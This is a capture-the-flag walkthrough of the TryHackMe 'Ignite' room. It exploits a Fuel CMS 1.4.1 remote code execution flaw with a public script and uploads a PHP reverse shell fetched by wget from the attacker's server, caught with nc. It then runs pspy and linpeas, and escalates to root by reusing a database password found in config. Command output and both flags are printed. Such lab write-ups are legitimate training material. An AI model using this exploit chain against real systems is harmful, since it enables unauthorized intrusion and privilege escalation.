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    TryHackMe: Ignite WalkThrough


    TryHackMe: Ignite WalkThrough#### Welcome to another TryHackMe writeup/walkthrough. Today we’re looking at a Easy room called Ignite. A new start-up has a few issues with their web server.

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    link: https://tryhackme.com/room/ignite

    Recon

    nmap scan found nothing more than open port 80

    └─# nmap -sV -sC -A -O -v 10.10.36.11PORT   STATE SERVICE VERSION80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))|_http-title: Welcome to FUEL CMS| http-methods: |_  Supported Methods: GET HEAD POST OPTIONS| http-robots.txt: 1 disallowed entry |_/fuel/|_http-server-header: Apache/2.4.18 (Ubuntu)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.94%E=4%D=9/20%OT=80%CT=1%CU=36908%PV=Y%DS=2%DC=T%G=Y%TM=650A99COS:9%P=aarch64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TSOS:=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=10COS:%TI=Z%CI=I%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%OOS:4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=OS:68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=OS:Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=AOS:%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=YOS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AROS:%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUOS:D=G)IE(R=Y%DFI=N%T=40%CD=S)
    

    Welcome to Fuel CMS

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    Lots of interesting information. Let’s start the dirb and in the meantime, let’s explore the individual findings.

    Fuel CMS version 1.4.1 has a Remote Code Execution vulnerability. This is good news. — https://www.exploit-db.com/exploits/50477


    Exploit

    Another good news is that there are several exploits. I’ve run the first find and I see it works.

    └─# python3 exploit.py -u http://10.10.36.11//usr/local/lib/python3.11/dist-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.2.0)/charset_normalizer (2.0.9) doesn't match a supported version!  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "[+]Connecting...Enter Command $whoamisystemwww-dataEnter Command $pwdsystem/var/www/htmlEnter Command $ls -allsystemtotal 52drwxrwxrwx 4 root root  4096 Jul 26  2019 .drwxr-xr-x 3 root root  4096 Jul 26  2019 ..-rw-r--r-- 1 root root   163 Jul 26  2019 .htaccess-rwxrwxrwx 1 root root  1427 Jul 26  2019 README.mddrwxrwxrwx 9 root root  4096 Jul 26  2019 assets-rwxrwxrwx 1 root root   193 Jul 26  2019 composer.json-rwxrwxrwx 1 root root  6502 Jul 26  2019 contributing.mddrwxrwxrwx 9 root root  4096 Jul 26  2019 fuel-rwxrwxrwx 1 root root 11802 Jul 26  2019 index.php-rwxrwxrwx 1 root root    30 Jul 26  2019 robots.txtEnter Command $ls -all /homesystemtotal 12drwxr-xr-x  3 root     root     4096 Jul 26  2019 .drwxr-xr-x 24 root     root     4096 Jul 26  2019 ..drwx--x--x  2 www-data www-data 4096 Jul 26  2019 www-dataEnter Command $ls -all /home/www-datasystemtotal 12drwx--x--x 2 www-data www-data 4096 Jul 26  2019 .drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..-rw-r--r-- 1 root     root       34 Jul 26  2019 flag.txtEnter Command $cat /home/www-data/flag.txtsystem6470e394cbf6dab6a91682cc8585059b
    

    User 🏁 6470e394cbf6dab6a91682cc8585059b


    Privilege escalation — root

    Now we need to access the server through reverse shell/bash

    └─# cp /usr/share/webshells/php/php-reverse-shell.php .# EDIT IP and PORT └─# nano php-reverse-shell.php └─# python3 -m http.server 8090Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...└─# nc -lvp 1234              listening on [any] 1234 ...
    

    On the remote machine we start downloading the reverse-shell file and try to open it in the browser

    Enter Command $wget http://10.9.102.33:8090/php-reverse-shell.phpEnter Command $ls -allsystemtotal 156drwxrwxrwx 4 root     root      4096 Sep 20 00:46 .drwxr-xr-x 3 root     root      4096 Jul 26  2019 ..-rw-r--r-- 1 root     root       163 Jul 26  2019 .htaccess-rwxrwxrwx 1 root     root      1427 Jul 26  2019 README.mddrwxrwxrwx 9 root     root      4096 Jul 26  2019 assets-rwxrwxrwx 1 root     root       193 Jul 26  2019 composer.json-rwxrwxrwx 1 root     root      6502 Jul 26  2019 contributing.mddrwxrwxrwx 9 root     root      4096 Jul 26  2019 fuel-rwxrwxrwx 1 root     root     11802 Jul 26  2019 index.php-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.1-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.10-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.11-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.12-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.2-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.3-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.4-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.5-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.6-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.7-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.8-rw-r--r-- 1 www-data www-data  5493 Sep  4 12:03 php-reverse-shell.php.9-rwxrwxrwx 1 root     root        30 Jul 26  2019 robots.txt
    

    After downloading the file and opening the page http://10.10.36.11/php-reverse-shell.php we are the shell. Let’s try the good old classic call bash via python.

    └─# nc -lvp 1234              listening on [any] 1234 ...10.10.36.11: inverse host lookup failed: Unknown hostconnect to [10.9.102.33] from (UNKNOWN) [10.10.36.11] 40892Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 00:52:01 up 49 min,  0 users,  load average: 0.97, 0.55, 0.59USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off$ python3 -c 'import pty;pty.spawn("/bin/bash")'www-data@ubuntu:/$ 
    

    Let’s download pspy and see if there is some interesting process running under the root user that we can manipulate.

    www-data@ubuntu:/$ cd /tmpcd /tmpwww-data@ubuntu:/tmp$ wget http://10.9.102.33:8090/pspy64wget http://10.9.102.33:8090/pspy64--2023-09-20 00:57:23--  http://10.9.102.33:8090/pspy64Connecting to 10.9.102.33:8090... connected.HTTP request sent, awaiting response... 200 OKLength: 3104768 (3.0M) [application/octet-stream]Saving to: 'pspy64'pspy64              100%[===================>]   2.96M  2.85MB/s    in 1.0s    2023-09-20 00:57:24 (2.85 MB/s) - 'pspy64' saved [3104768/3104768]www-data@ubuntu:/tmp$ chmod +x pspy64chmod +x pspy64www-data@ubuntu:/tmp$ ./pspy64./pspy64pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d     ██▓███    ██████  ██▓███ ▓██   ██▓    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒     ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░     ░░       ░  ░  ░  ░░       ▒ ▒ ░░                     ░           ░ ░                                    ░ ░     Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)Draining file system events due to startup...
    

    Doesn’t look like anything interesting. Let’s try the linpeas app

    www-data@ubuntu:/tmp$ wget http://10.9.102.33:8090/linpeas.shwget http://10.9.102.33:8090/linpeas.sh--2023-09-20 01:08:25--  http://10.9.102.33:8090/linpeas.shConnecting to 10.9.102.33:8090... connected.HTTP request sent, awaiting response... 200 OKLength: 848400 (829K) [text/x-sh]Saving to: 'linpeas.sh'linpeas.sh          100%[===================>] 828.52K  1.68MB/s    in 0.5s    2023-09-20 01:08:26 (1.68 MB/s) - 'linpeas.sh' saved [848400/848400]www-data@ubuntu:/tmp$ chmod +x linpeas.shchmod +x linpeas.shwww-data@ubuntu:/tmp$ ./linpeas.sh./linpeas.sh                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄          ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄           ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀    /---------------------------------------------------------------------------------\    |                             Do you like PEASS?                                  |                                                                               |---------------------------------------------------------------------------------|                                                                               |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                               |         Follow on Twitter         :     @hacktricks_live                        |                                                                               |         Respect on HTB            :     SirBroccoli                             |                                                                               |---------------------------------------------------------------------------------|                                                                               |                                 Thank you!                                      |                                                                               \---------------------------------------------------------------------------------/                                                                                     linpeas-ng by carlospolop                                                                                                                                                                                                                                                                                                 ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.                                                                                                                                                                                                            Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist LEGEND:                                                                                                                                                            RED/YELLOW: 95% a PE vector  RED: You should take a look to it  LightCyan: Users with console  Blue: Users without console & mounted devs  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)   LightMagenta: Your username Starting linpeas. Caching Writable Folders......══════════╣ Active Ports╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                     tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                                                                                 tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               tcp6       0      0 :::80                   :::*                    LISTEN      -               tcp6       0      0 ::1:631                 :::*                    LISTEN      -               ...╔══════════╣ Analyzing Backup Manager Files (limit 70)                                                                                                                                                                  -rwxrwxrwx 1 root root 4646 Jul 26  2019 /var/www/html/fuel/application/config/database.php|       ['password'] The password used to connect to the database|       ['database'] The name of the database you want to connect to        'password' => 'mememe',        'database' => 'fuel_schema',...
    

    We can see that the database is running on the server and we found the name and password.

    www-data@ubuntu:/tmp$ cat /var/www/html/fuel/application/config/database.php...$db['default'] = array(        'dsn'   => '',        'hostname' => 'localhost',        'username' => 'root',        'password' => 'mememe',        'database' => 'fuel_schema',        'dbdriver' => 'mysqli',...
    

    Let’s try the same password not only for the DB root, but also for the system root.

    www-data@ubuntu:/tmp$ su root          su root Password: mememeroot@ubuntu:/tmp# ls -all /rootls -all /roottotal 32drwx------  4 root root 4096 Jul 26  2019 .drwxr-xr-x 24 root root 4096 Jul 26  2019 ..-rw-------  1 root root  357 Jul 26  2019 .bash_history-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrcdrwx------  2 root root 4096 Feb 26  2019 .cachedrwxr-xr-x  2 root root 4096 Jul 26  2019 .nano-rw-r--r--  1 root root  148 Aug 17  2015 .profile-rw-r--r--  1 root root   34 Jul 26  2019 root.txtroot@ubuntu:/tmp# cat /root/root.txtcat /root/root.txtb9bbcb33e11b80be759c4e844862482d
    

    Root 🏁 b9bbcb33e11b80be759c4e844862482d


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